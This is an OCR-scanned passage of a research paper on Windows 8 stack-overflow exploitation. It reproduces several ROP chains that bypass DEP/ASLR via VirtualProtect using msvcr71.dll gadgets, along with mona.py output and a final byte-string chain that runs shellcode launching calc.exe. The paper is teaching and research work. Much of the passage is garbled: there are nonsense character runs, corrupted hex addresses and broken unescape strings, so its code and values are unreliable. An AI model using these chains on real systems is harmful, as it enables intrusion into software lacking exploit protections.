retn 


rop_base 


+ 


0x3ab5e , 


# 


dec 


esi; 


retn 


rop_base 


+ 


0x3ab5e , 


# 


dec 


esi; 


retn 


rop_base 


+ 


0x3ab5e , 


# 


dec 


esi; 


retn 



# Write lpAddress 
rop_base + 0x2c283 , 
heap & "Oxfff , 
rop_base + 0xldb4f , 



# pop eax; retn 

# lpAddress -> eax 

# mov [esi] , eax; retn 
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rop_base 


+ 0x3ab5e , 


# 


dec 


esi ; 


retn 


X U U _ U a. o fc; 


UAJaUuc j 


tt 


d g c 


G S 1 f 


7* 6. i 71 


t n "n ha 

X U U UCLDC 


• .A. i-J CL LJ <_) C j 


# 


d g c 


G s i f 


T* 6 ~t 71 


■y /~\ t~> V\ o o n 
X U U _ U a. o g 


w A. a. u c ? 


it 
TT 


dec 


esi; 


T* 6 t 71 


it Uri to 

TT W X X U c 


ccrivu L 










7" A ri V\ O Q O 

X U L) Uao c 


W A Z. U ^1 O O 9 


it 
TT 


pop 


eax ; 




X U U _ U a. g 




it 
tt 


&pivot -> 


G 3.X 


rop_base 


+ 0xldb4f , 


# 


mo v 


[esi] 


, eax; retn 


rop_base 


+ 0x3ab5e , 


# 


dec 


esi; 


retn 


X UU_Ud.bc 


' u aOqUuc y 


it 
Tt 


dec 


esi; 


7* 6 t 71 


>~ t~> K n 
X U U _ U a. G 


' UAJdU Jc ? 


it 
tt 


dec 


esi; 


7* 6 t 71 


>~ t~> K n 
X U U _ U a. G 


' UAJdU Jc ? 


it 
tt 


dec 


esi; 


7* £ t 71 


# Write 


feVirtualProtect 










rop_base 


+ 0x2c283 , 


# 


pop 


eax ; 


retn 


X U U _ U a. G 




it 
tt 


IAT 


entry 


VirtualProtect 


rop_base 


+ 0xl2fda, 


# 


mov 


eax, DWORD PTR [eax] 


rop_base 


+ 0xldb4f , 


# 


mov 


[esi] 


, eax; retn 


# Pivot 


ESP 










rop_base 


+ 0x229a5 , 


# 


xchg 


esi , 


esp; retn ; 


# Jump into shellcode 










rop_base 


+ 0xdace8 


# 


push 


esp ; 


retn 



] 

As we can see Dan Rosenberg modified it to place the arguments for VirtualProtect into the 
stack, then put the IAT entry (the import address table entry which contains a "pointer" to 
the entry point as VA (Virtual Address) of the function [43]) and restore ESP. The last rop 
entry push esp; retn will "return" to the VirtualProtect function and modify the heap page 
properties, permitting to execute a shellcode pushed into the heap. 

Nguyen pushes the bar further [44] developing and releasing a generic ROP chain for Windows 
8 starting from the exploit for CVE-2011-0065 [45] [48] that uses the ROP chain for Windows 
7 developed by Corelan [46], the characteristics of this ROP chain are: 

- Using msvcr71.dll v7. 10. 3052. 4 module 

- Integrated with: JRE (Java) 1.6 

- Loading with browser 

- Able to work on Windows XP/Vista/Win7/Win8 /2003/2008 

- ASLR-free 

- Using kernel32 . VirtualProtect function 

- Base: 0x7c340000 . 

- Size 0x56000. 

Msvcr71.dll is used: this dll is shipped with JRE 1.6 and doesn't present any linker level 
protection mechanism enabled (ASLR/DEP) making it an ideal target to develop a ROP chain. 

As Le Manh Tung noted there are some problems with this generic ROP though: 

• EAX register must point to a valid stack value (i.e. between FS:[4] and FS:[8]), and it's 
not common to have free registers to store ESP value or find a way to transfer ESP value 
to EAX by means of using ROP gadgets. 
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• the ROP chain has a length of about 400bytes and we could have some restraints on the 
size of the ROP chain (as of the shellcode). 

to solve this issues he developed a generic ROP for Windows 8 [47] that will: 

• determine valid stack range 

• copy a Windows 7 ROP chain to the valid stack range and return to it 

• execute the Windows 7 ROP chain in the valid location 



//3 instructions to pivot stack (deploy.dll) 



rop += unescape ( " /,ul0a9°/ u6dld " ) ; //#M0V 
NEAR DWORD PTR DS:[EAX+4] 

rop += unescape ( , 7.ul0b4 , /,u6dld " ) ; //#PDP ESI #RETN 

rop += unescape ("°/ u751b / u6dld") ; //#XCHG EAX , ESP #RETN 



EAX , DWORD PTR DS : [ECX] #CALL 



// Generic ROP Chain for Windows8 made by Le Mann Tung 
//Stage 1 : Make eax point to a valid stack 
//(if you already have that, skip this stage) 



rop += unescape ('"/,u39fa7,u7c34") 

rop += unescape ("7, ubOO 1 7„u7c38 " ) 

rop += unescape ( "7,u2f 4f °/ u7c37 ") 
#M0V DWORD PTR DS : [EDX] , ECX 

rop += unescape ( "%u8cb3%u7c36 " ) 

rop += unescape ( "%u9ede%u7c34 " ) 

rop += unescape ( " /„ul748°/,u7c34 " ) 

rop += unescape ("°/„uf f f f °/,uf fff ") 

rop += unescape ( "°/ u9ede°/ u7c34 " ) 

rop += unescape ( "%uaa6c%u7c35 " ) 

rop += unescape ("%ud38f %u7c34 ") 

rop += unescape ( "°/ u6cOa°/ u7c34 " ) 

rop += unescape ( '7,u9090°/ u9090 " ) 

rop += unescape ( '7„ue744°/,u7c34 " ) 



//0x7c3439fa -> 

//0x7c38b001 -> 

//0x7c372f4f -> 
#P0P ESI #RETN 



#P0P EDX #RETN 
Make EDX writeable 
#PUSH ESP # AND AL 
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//#M0V EAX, ESI #RETN 
//# ADD EAX ,0C #RETN 
//#P0P EBX #RETN 

//Oxffffffff for ebx (and for edi later) 

//# ADD EAX ,0C #RETN 

//#XCHG EAX, EBP #SAR DH , 0C8 

//# AND EAX, 20 #RETN 

//#M0V EAX, DWORD PTR FS:[18] ... 

//0x7c346c0a -> POP EAX #RETN 

//4 bytes reserve for FS : [18] 

//0x7c34e744 -> 

//#M0V EAX, DWORD PTR DS:[EAX+8] #RET 



//Stage 2 : memcpy the rop code 
//which runs on Windows 7 to the 
rop += unescape ( '7„u05d8°/„u7c35 ") ; 

rop += unescape ( "%u2ebb%u7c34 ") ; 
rop += unescape ( "%u764c%u7c37 ") ; 



rop += unescape ( '7,u99b4 /„u83c8 ") ; 



rop += unescape ( " /,uaa6c%u7c35 ") ; 



rop += unescape ( '7„u44f 1 °/ u7c34 " ) ; 



(including shellcode) 
valid stack , then return to it . 
//0x7C3505D8 -> #P0P EDI #P0P ESI 
// #P0P EBX #RETN 

//0x7c342ebb -> msvcr7 1 . memcpy ( ) -> to EDI 
//0x7C37764C -> #M0V ESP, EBP 
//#P0P EBP #RETN 

//(to esi , then will be the return address) 

//0x83c899b4 to EBX, 

//then add ebx , esi = 0x1000 

//(count for memcpy, modify if needed) 

//#XCHG EAX, EBP # SAR DH , 0C8 

//# AND EAX, 20 #RETN 

//(now EBP which will be dest in memcpy () 

// point to a valid stack) 

//# ADD EBX, ESI #STC #RETN 

//( add 0x83c899b4 ,0x7C37764C => 0x1000) 
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rop += unescape ( " /,u8c81°/„u7c37 ") ; //0x7c378c81 -> #PUSHAD # ADD AL , OEF #RETN 
rop += unescape ("7,u414iy„u4141 ") ; //0x41414141 (padding for POP EBP) 



//Stage 3 : Make VirtualProtect 

rop += unescape ( ,,0 /,u7288°/ u7c37 ") 

rop += unescape ("7, Ub8d8°/„u7c34") 

rop += unescape ( " /,ul5a2°/,u7c34 " ) 

rop += unescape ( "%u92e6%u7c35 " ) 

rop += unescape ( ,,0 /,u4141°/,u4141 ") 

rop += unescape ("%u5f f f 7.u83c7 ") 

rop += unescape ( "%uf f cO%uf f f f ") 

rop += unescape ( "% ub002 °/,u7c38 " ) 

rop += unescape ("% ubOO 1 %u7c38 " ) 

rop += unescape (" /,u58AA°/,u7c34") 



rop += unescape ( "%ulebl %u7c35 " ) 
rop += unescape ( " /,u8c81°/,u7c37 " ) 
rop += unescape ( "7oUal51 / u7c37 " ) 



rop += unescape ( "7,u5c30°/,u7c34 ") ; //0x7c345c30 



call , then execute the shellcode 
//0x7C377288 -> #P0PAD #TEST AL,0FC 
//#DEC ECX #RETN 

//0x7c34b8d8 -> rop NOP (-> edi) 
//0x7c3415a2 -> # JMP [EAX] with eax 
//point to feVirtualProtect () (-> esi) 
//0x7C3592E6 -> Skip 8 bytes by pop 
//# pop # ret (-> ebp) 
//0x41414141 -> padding 
//0x83c75fff -> 

//value to adjust for dwSize (-> ebx) 

//OxffffffcO -> value to negate, target 

//value : 0x00000040 (NewProtect ->edx) 

//0x7c38b002 -> RW pointer 

// ( lpOldProtect ) (-> ecx) 

//0x7c38b001 -> (-> eax) 

//for add ebx , eax = 0x1000 -> dwSize 

//0x7C3458AA -> # ADD EBX, EAX 

//#M0V EAX, DWORD PTR SS:[ESP+8] #RETN 

//( ebx = 0x83c75ffb + 0x7c38b005 = 0x1000 

// -> dwSize , modify if needed) 

//0x7c351ebl -> #NEG EDX / RETN (edx = 0x40) 

> #PUSHAD # ADD AL , OEF #RETN 

> #&VirtualProtect () -OxOEF 
//(-> to eax by 

//#M0V EAX, DWORD PTR SS:[ESP+8]) 

-> ptr to '#push esp # ret' 



//0x7c378c81 
//0x7c37al40 



This is a nearly perfect generic ROP chain: 



• really small:35 or 22 dwords as depending on whether EAX contains a valid value or not 
the first stage can be skipped 

• on windows 7 or earlier takes only the 14 dwords of the last stage 

CorelancOdSr [49] shows that this ROP chain has got a flaw, not a lot of modules will in- 
clude gadgets capable to read the real stack address from the TEB and suggests the following 
approach: 

• call mempcpy, copy the real rop chain + shellcode to the stack (using the saved stack 
pointer) 

• return to the stack 

• run the real rop chain and execute the shellcode 
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4.3 Developing our own ROP chain 



Since in this paper our intention was to evaluate stack overflows in Windows 8 and update 
what done in [3] we are going to develop a ROP chain for the example showed in section 3.2. 
This is actually going to be way much simpler than what we have seen so far: since we have 
overwritten the stack we will execute our ROP chain using it directly, meaning that the ESP 
register will always point to a valid location and we won't need to create a specific ROP chain 
that can keep the esp pointer valid when calling VirtualProtect (i.e. putting the parameters and 
the IAT entry for VirtualProtect in the stack then using the correct esp pointer and "return" 
to the VirtualProtect function). 

First of all we've got to correctly install mona.py [31] copying it into the PyCommands directory 
of Immunity Debugger, create a directory to keep logs and configuring mona with the following 
command through the command line in the debugger: 

! mona config -set workingf older c:\logs V/ p 

Now we can load our executable and put a breakpoint on the mainQ function, run (F9) and 
step with F8 until the dll is loaded by LoadLibraryA. 




Imuna rop - 


m vulnerabledll n 






Invalid command ** 




| Paused 




s III 


SO 


- ft m <o .}» w ^ 012 



Figure 10: Step until vulnerabledll is loaded 



Just let mona find ROP chains/gadgets for us, using the following command that will search 
for ROP gadgets and chains in the module vulnerabledll: 

! mona rop -m vulnerabledll — n 

A nice feature of mona is that it can create ROP chains in an automated way as we can see 
from the log it tries to create possible ROP chains for different interesting API, in our case we 
are interested to VirtualProtect but mona wasn't able to find a complete chain: 
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def create_rop_chain () 

# rop chain generated with 

rop_gadgets = 

[ 



mona . py - www.corelan.be 



0x00000000 
0x00000000 
0x00411d07 
0x00000000 
0x00000000 
0x00000000 
0x00000000 
0x00000000 
0x00000000 
0x00000000 



# [-] Unable to find gadgets to pickup the desired API 

# [-] Unable to find ptr to feVirtualProtect () 
RETN [ConsoleApplicationl.exe] 



# POP EBP # 

# & [] 
# 
# 
# 
# 
# 
# 



[- 


] 


Unable 


to 


find 


gadget 


to 


put 


00000201 


into 


ebx 


[- 


] 


Unable 


to 


find 


gadget 


to 


put 


00000040 


into 


edx 


[- 


] 


Unable 


to 


find 


gadget 


to 


put 


00407aa9 


into 


ecx 


[- 


] 


Unable 


to 


find 


gadget 


to 


put 


00411902 


into 


edi 


[- 


] 


Unable 


to 


find 


gadget 


to 


put 


90909090 


into 


eax 


[- 
") 


] 


Unable 


to 


find 


pushad 


gadget 









] . flatten . pack (" V*") 
return rop_gadgets 
end 

Since we are running the exploit directly in the stack we could just modify the chain to get 
the arguments directly from the stack when calling VirtualProtect, but the problem is that 
VirtualProtect is not imported, and we should get the address using GetModuleHandle/Get- 
ProcAddress that are present in the IAT of the vulnerabledll module. But even importing 
VirtualProtect doesn't create a favorable landscape as we would need a gadget to get the 
pointer to VirtualProtect into the stack, in fact we know that when a PE is loaded into mem- 
ory by the windows loader the IAT entry gets overwritten with the actual address where the 
procedure is loaded [50]. 

def create_rop_chain () 

# rop chain generated with mona . py - www.corelan.be 

rop_gadgets = 

[ 

0x00000000 
0x1001816c 
0xl00130f 1 
0xl00113ec 
0x00000000 
0x00000000 
0x00000000 
0xl00114f b 
0x10013403 
0x41414141 
0x41414141 
0x41414141 
0x00000000 
0x41414141 
0x00000000 
] . flatten . pack ("V*") 



# [-] Unable to find gadgets to pickup the desired API 

# ptr to feVirtualProtect () [IAT vulnerabledll.dll] 

# POP EBP # RETN [vulnerabledll.dll] 
it call esp [vulnerabledll . dll] 

[-] Unable to find gadget to put 00000201 into ebx 
[-] Unable to find gadget to put 00000040 into edx 
[-] Unable to find gadget to put lOOlObbO into ecx 

# POP EDI # POP ESI # POP EBX # POP EBP # RETN 04 

# RETN (ROP NOP) [vulnerabledll.dll] 

# Filler (compensate) 

# Filler (compensate) 

# Filler (compensate) 

# [-] Unable to find gadget to put 90909090 into eax 

# Filler (RETN offset compensation) 

# [-] Unable to find pushad gadget 



return rop_gadgets 



end 
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Since mona wasn't able to make a complete chain the chain can be completed by manually 
searching for favorable gadgets between the possibilities found by mona. In this case no inter- 
esting gadgets were found to complete the chain. 

As we can see even having a module not protected by ASLR doesn't mean we can successfully 
develop a ROP chain: it's just a matter of skills and luck. 

Let's try to load msvcr71.dll instead of vulnerabledll.dll using the LoadLibrary function to see 
if we can develop a ROP chain. The results of mona this time are much better, we can see that 
a complete ROP chain was found in an automated way: 

def create_rop_chain () 



# rop chain 
rop_gadget s 
[ 

0x7c36695d 
0x7c36695d 
0x7c34d060 
Oxf f f f f df f 
0x7c36684b 
0x7c354901 
Oxf f f f f f f f 
0x7c345255 
0x7c35218e 
0x7c345937 
Oxf f f f f f cO 
0x7c351ebl 
0x7c358ab2 
0x7c38e78a 
0x7c34294d 
0x7c346c0b 
0x7c350b08 
0x7c3415a2 
0x7c347f 97 
0x7c37al40 
0x7c378c81 
0x7c345c30 
] . flatten . pa 



generated with mona . py - www.corelan.be 



# POP EBP # RETN [msvcr71.dll] 

# skip 4 bytes [msvcr71.dll] 

# POP EAX # RETN [msvcr71.dll] 

# Value to negate , will become 0x00000201 

# NEG EAX # RETN [msvcr71.dll] 

# POP EBX # RETN [msvcr71.dll] 
# 

# INC EBX # FPATAN # RETN [msvcr71.dll] 

# ADD EBX, EAX # X0R EAX , EAX # INC EAX # RETN [msvcr71.dll] 

# POP EDX # RETN [msvcr71.dll] 

# Value to negate , will become 0x00000040 

# NEG EDX # RETN [msvcr71.dll] 

# POP ECX # RETN [msvcr71.dll] 

# &Writable location [msvcr71.dll] 

# POP EDI # RETN [msvcr71.dll] 

# RETN (ROP NOP) [msvcr71.dll] 

# POP ESI # RETN [msvcr71.dll] 

# JMP [EAX] [msvcr71.dll] 

# POP EAX # RETN [msvcr71.dll] 

# ptr to feVirtualProtect () [IAT msvcr71.dll] 

# PUSHAD # ADD AL , OxEF # RETN [msvcr71.dll] 

# ptr to 'push esp # ret ' [msvcr71.dll] 
ck (" V*") 



return rop_gadgets 



end 



We won't need to take care of the Windows 8 ROP mitigation as our ESP pointer will always 
be valid. Of course this ROP chain is far from as efficient as it could be, considering that we can 
put the arguments to VirtualProtect directly in the stack since we control it. This ROP chain 
suffers from a single problem: the second last gadget decrement AL by OxEF, this will means 
that when JMP [EAX] is executed it will jump somewhere else and not into VirtualProtect! 
We need to decrement the LSB to the pointer to VirtualProtect entry in the IAT by OxEF: 

0x40-0xEF=0x51 

Trying the exploit shows that it doesn't work as expected, debugging it we see that it's able 
to reach the shellcode on the stack, but the properties of the page weren't changed as Virtual- 
Protect exited with an error and returned zero. 
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jlmona rop -m msvcr71 -n 



[17:19:30] Access violation when executing [0013FF90] - use SJlif t+F7/F8/F9 to pass exception to program 

Figure 11: Access violation while executing shellcode on the stack 

Quickly calling GetLastError after VirtualProtect reveals that the error is 0xlE7 
(ERROR_INVALID_ADDRESS). A closer inspection reveals that we got close to the end of the 
page dedicated to the stack as shown in Fig. 12, and that's one of the reasons we usually need 
short ROP chains and shellcodes. 



28 




Figure 12: Running out of space 



So defining the region of memory we defined as the argument of VirtualProtect wasn't valid, we 
can select as dwSize the size of our shellcode 0x80 bytes and modify the ROP chain accordingly. 
Is nice to notice also that ECX already point to a valid location for lpOldProtect (in the stack, 
which is writable) and we can skip the gadget that loads the value in ecx optimizing the chain 
and arriving to the final result that we will include in our code: 



"\x5d\x69\x36\x7c 


" // 


# 


POP EBP # RETN [ms 


vcr71 . 


dll] 


"\x5d\x69\x36\x7c 


" // 


# 


skip 4 bytes [msvc 


r71 . dl 


I] 


"\x60\xd0\x34\x7c 


" // 


# 


POP EAX # RETN [ms 


vcr71 . 


dll] 


"\x7f \xff \xf f \xff 


" // 


# 


Value to negate 






"\x4b\x68\x36\x7c 


" // 


# 


NEG EAX # RETN [ms 


vcr71 . 


dll] 


"\x01\x49\x35\x7c 


" // 


# 


POP EBX # RETN [ms 


vcr71 . 


dll] 


"\xf f \xff \xf f \xff 


" // 


# 








"\x55\x52\x34\x7c 


" // 


# 


INC EBX # F PAT AN # 


RETN 


[msv cr71 .dll] 


"\x8e\x21\x35\x7c 


" // 


# 


ADD EBX 






"\x37\x59\x34\x7c 


" // 


# 


POP EDX # RETN [ms 


vcr71 . 


dll] 


"\xcO\xff \xf f \xf f 


" // 


# 


Value to negate 






"\xbl\xle\x35\x7c 


" // 


# 


NEG EDX # RETN [ms 


vcr71 . 


dll] 


// skip , ECX is a 


Iready 


a valid location 






// "\xb2\x8a\x35\ 


x7c " 


// # POP ECX # RETN 


[msvcr 


71 . dll] 


//"\x8a\xe7\x38\x 


7c" // 


# &Writable locati 


on [ms 


vcr71 . dll] 


"\x4d\x29\x34\x7c 


" // 


# 


POP EDI # RETN [ms 


vcr71 . 


dll] 


"\x0b\x6c\x34\x7c 


" // 


# 


RETN (ROP NOP) [ms 


vcr71 . 


dll] 


"\x08\x0b\x35\x7c 


" // 


# 


POP ESI # RETN [ms 


vcr71 . 


dll] 


"\xa2\xl5\x34\x7c 


" // 


# 


JMP [EAX] [msvcrll 


. dll] 




"\x97\x7f \x34\x7c 


" // 


# 


POP EAX # RETN [ms 


vcr71 . 


dll] 
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"\x51\xal\x37\x7c " // # ptr to &VirtualPro t ect () [IAT msvcr71 . dll] 
"\x81\x8c\x37\x7c" // # PUSHAD # ADD AL , OxEF 

" \x30\x5c\x34\x7c " // # ptr to 'push esp # ret ' [msvcr71.dll] 




Figure 13: Gaining control successfully, execution of calc.exe 
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5 Conclusions and Expectations 



Yhough security has overall increased it still depends a lot on the correct implementation of 
protection techniques by software developers: as long as there will be modules that uses no 
ASLR/DEP there will be the possibility to exploit them using the ROP technique. Software 
vendors have to implement serious security auditing measures (like SDL, proposed by Microsoft 
[4]), since in some cases even with all the protections offered by the OS these can be circum- 
vented by a dedicated attacker. 

This paper concentrated in updating the work done by M. Graziano and A. Cugliari with the 
latest tools and OS, but overlooked on the other security aspects introduced in the operating 
system, that would be worth analyzing thoroughly, developing some test cases and showing off 
differences in the execution on different operating system versions. 
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